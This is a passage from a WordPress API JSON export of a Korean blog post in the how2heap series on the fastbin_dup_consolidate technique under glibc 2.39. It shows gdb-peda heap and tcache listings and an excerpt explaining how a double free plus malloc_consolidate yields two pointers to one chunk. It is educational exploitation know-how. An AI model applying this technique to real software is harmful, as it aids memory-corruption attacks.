None\n0x555555559290      0x0                 0x410                Used                None              None\n0x5555555596a0      0x0                 0x50                 Freed        0x555555559              None\n0x5555555596f0      0x0                 0x50                 Freed     0x55500000c3e9              None\n0x555555559740      0x0                 0x50                 Freed     0x55500000c259              None\n0x555555559790      0x0                 0x50                 Freed     0x55500000c209              None\n0x5555555597e0      0x0                 0x50                 Freed     0x55500000c2f9              None\n0x555555559830      0x0                 0x50                 Freed     0x55500000c2a9              None\n0x555555559880      0x0                 0x50                 Freed     0x55500000cd19              None\n0x5555555598d0      0x0                 0x410                Freed        0x555555559              None\ngdb-peda$ heapinfo\n(0x20)     fastbin[0]: 0x0\n(0x30)     fastbin[1]: 0x0\n(0x40)     fastbin[2]: 0x0\n(0x50)     fastbin[3]: 0x0\n(0x60)     fastbin[4]: 0x0\n(0x70)     fastbin[5]: 0x0\n(0x80)     fastbin[6]: 0x0\n(0x90)     fastbin[7]: 0x0\n(0xa0)     fastbin[8]: 0x0\n(0xb0)     fastbin[9]: 0x0\n                  top: 0x555555559ce0 (size : 0x20320)\n       last_remainder: 0x0 (size : 0x0)\n            unsortbin: 0x0\n(0x50)   tcache_entry[3](7): 0x555555559890 --> 0x555555559840 --> 0x5555555597f0 --> 0x5555555597a0 --> 0x555555559750 --> 0x555555559700 --> 0x5555555596b0<\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"602\" height=\"316\" src=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/05\/image-22.png\" alt=\"\" class=\"wp-image-3567\" srcset=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/05\/image-22.png 602w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/05\/image-22-300x157.png 300w\" sizes=\"auto, (max-width: 602px) 100vw, 602px\" \/><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>\ud658\uacbd Ubuntu GLIBC 2.39-0ubuntu8.4 \/ Ubuntu 24.04.1 LTS x86_64 \uc694\uc57d \ub0b4\uc6a9 \uc774 \ubb38\uc11c\ub294 \uc8fc\ub85c malloc_consolidate \ud568\uc218\uc758 \ub3d9\uc791\uc744 \uc2dc\uc5f0\ud558\uace0, \uc774\ub97c \uc774\uc911 \ud574\uc81c(double free)\uc640 \uacb0\ud569\ud558\uc5ec \ub3d9\uc77c\ud55c \ub300\ud615 \uccad\ud06c\uc5d0 \ub300\ud55c \ub450 \uac1c\uc758 \ud3ec\uc778\ud130\ub97c \uc5bb\ub294 \ubc29\ubc95\uc744 \uc124\uba85\ud558\ub294 \ub370 \uc0ac\uc6a9\ub429\ub2c8\ub2e4. \uc774\ub294 \uc77c\ubc18\uc801\uc73c\ub85c prev_inuse \ud50c\ub798\uadf8 \uac80\uc0ac\ub85c \uc778\ud574 \uc9c1\uc811\uc801\uc73c\ub85c \uc218\ud589\ud558\uae30 \uc5b4\ub824\uc6b4 \uc791\uc5c5\uc785\ub2c8\ub2e4. \ud765\ubbf8\ub86d\uac8c\ub3c4, \ud2b9\uc815 \ud06c\uae30\uc758 tcache \uccad\ud06c\uc5d0\ub3c4 \uc774 \uae30\ubc95\uc774 \uc801\uc6a9\ub420 \uc218 \uc788\uc2b5\ub2c8\ub2e4.&hellip;&nbsp;<a href=\"https:\/\/h4ck.kr\/?p=3562\" rel=\"bookmark\">\ub354 \ubcf4\uae30 &raquo;<span class=\"screen-reader-text\">[how2heap\/glibc2.39] fastbin_dup_consolidate<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"neve_meta_sidebar":"","neve_meta_container":"","neve_meta_enable_content_width":"","neve_meta_content_width":0,"neve_meta_title_alignment":"","neve_meta_author_avatar":"","neve_post_elements_order":"","neve_meta_disable_header":"","neve_meta_disable_footer":"","neve_meta_disable_title":"","footnotes":""},"categories":[52],"tags":[35,51,25],"class_list":["post-3562","post","type-post","status-publish","format-standard","hentry","category-how2heap","tag-heap","tag-how2heap","tag-pwnable"],"_links":{"self":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/3562","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3562"}],"version-history":[{"count":2,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/3562\/revisions"}],"predecessor-version":[{"id":3578,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/3562\/revisions\/3578"}],"wp:attachment":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3562"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3562"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3562"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}